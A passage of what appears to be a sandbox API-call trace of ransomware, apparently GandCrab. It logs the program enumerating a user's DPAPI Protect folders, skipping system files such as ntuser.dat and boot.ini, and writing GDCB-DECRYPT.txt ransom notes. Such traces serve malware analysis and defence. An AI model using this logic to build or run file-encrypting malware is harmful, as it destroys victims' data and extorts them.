returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\" [0135.623] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.623] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.623] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned 56 [0135.623] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*" [0135.623] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7900 [0135.623] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.623] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.623] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.623] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.623] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.623] lstrcmpW (lpString1="CREDHIST", lpString2=".") returned 1 [0135.623] lstrcmpW (lpString1="CREDHIST", lpString2="..") returned 1 [0135.623] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="CREDHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" [0135.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64 [0135.623] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.623] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.623] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.623] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt" [0135.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned 72 [0135.623] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.623] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.623] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0135.623] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0135.623] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0135.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned 101 [0135.623] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.623] lstrcmpW (lpString1="SYNCHIST", lpString2=".") returned 1 [0135.623] lstrcmpW (lpString1="SYNCHIST", lpString2="..") returned 1 [0135.624] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="SYNCHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" [0135.624] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64 [0135.624] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.624] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.624] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.624] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\\\GDCB-DECRYPT.txt") returned 73 [0135.624] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.624] GetLastError () returned 0x50 [0135.624] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.624] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned 56 [0135.624] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*" [0135.624] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.624] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.624] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.624] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.624] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.624] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.624] lstrcmpW (lpString1="CREDHIST", lpString2=".") returned 1 [0135.624] lstrcmpW (lpString1="CREDHIST", lpString2="..") returned 1 [0135.624] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="CREDHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" [0135.624] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.625] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64 [0135.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 64 [0135.625] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.625] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.625] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.625] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.625] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt" [0135.625] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.625] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned 72 [0135.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned 72 [0135.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned 72 [0135.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned 72 [0135.625] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.625] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.625] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.625] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.625] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.625] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.625] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.625] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.625] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.625] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.625] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.625] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0135.625] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0135.625] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0135.625] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0135.625] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.626] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.626] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.626] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.626] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.626] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.626] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 102 [0135.626] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0135.626] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7680 [0135.626] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.626] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.626] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.626] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.626] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.626] lstrcmpW (lpString1="0e547b03-9de7-44c3-ab34-6c30848745f8", lpString2=".") returned 1 [0135.626] lstrcmpW (lpString1="0e547b03-9de7-44c3-ab34-6c30848745f8", lpString2="..") returned 1 [0135.626] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="0e547b03-9de7-44c3-ab34-6c30848745f8" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8" [0135.626] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned 138 [0135.626] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.626] lstrcmpW (lpString1="18ba5742-2f86-4514-8525-6b56783ae4ef", lpString2=".") returned 1 [0135.626] lstrcmpW (lpString1="18ba5742-2f86-4514-8525-6b56783ae4ef", lpString2="..") returned 1 [0135.626] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="18ba5742-2f86-4514-8525-6b56783ae4ef" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef" [0135.626] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned 138 [0135.626] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.626] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2=".") returned 1 [0135.626] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="..") returned 1 [0135.626] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="5b8a3202-35dc-4437-b5d7-374f5e872415" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415" [0135.626] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138 [0135.626] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.626] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.626] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.626] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0135.626] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 118 [0135.626] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.626] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.626] lstrcmpW (lpString1="Preferred", lpString2=".") returned 1 [0135.626] lstrcmpW (lpString1="Preferred", lpString2="..") returned 1 [0135.626] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="Preferred" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred" [0135.626] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111 [0135.626] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.626] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.627] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.627] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt") returned 119 [0135.627] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.627] GetLastError () returned 0x50 [0135.627] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.627] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 102 [0135.627] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0135.627] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7900 [0135.627] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.627] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.627] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.627] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.627] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.627] lstrcmpW (lpString1="0e547b03-9de7-44c3-ab34-6c30848745f8", lpString2=".") returned 1 [0135.627] lstrcmpW (lpString1="0e547b03-9de7-44c3-ab34-6c30848745f8", lpString2="..") returned 1 [0135.627] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="0e547b03-9de7-44c3-ab34-6c30848745f8" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8" [0135.627] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.627] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned 138 [0135.627] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned 138 [0135.628] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.628] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.628] lstrcmpW (lpString1="18ba5742-2f86-4514-8525-6b56783ae4ef", lpString2=".") returned 1 [0135.628] lstrcmpW (lpString1="18ba5742-2f86-4514-8525-6b56783ae4ef", lpString2="..") returned 1 [0135.628] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="18ba5742-2f86-4514-8525-6b56783ae4ef" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef" [0135.628] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.628] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned 138 [0135.628] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned 138 [0135.628] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.628] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.628] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2=".") returned 1 [0135.628] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="..") returned 1 [0135.628] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="5b8a3202-35dc-4437-b5d7-374f5e872415" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415" [0135.628] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.628] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138 [0135.628] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138 [0135.628] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.628] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.628] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.628] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.629] lstrcatW (in: 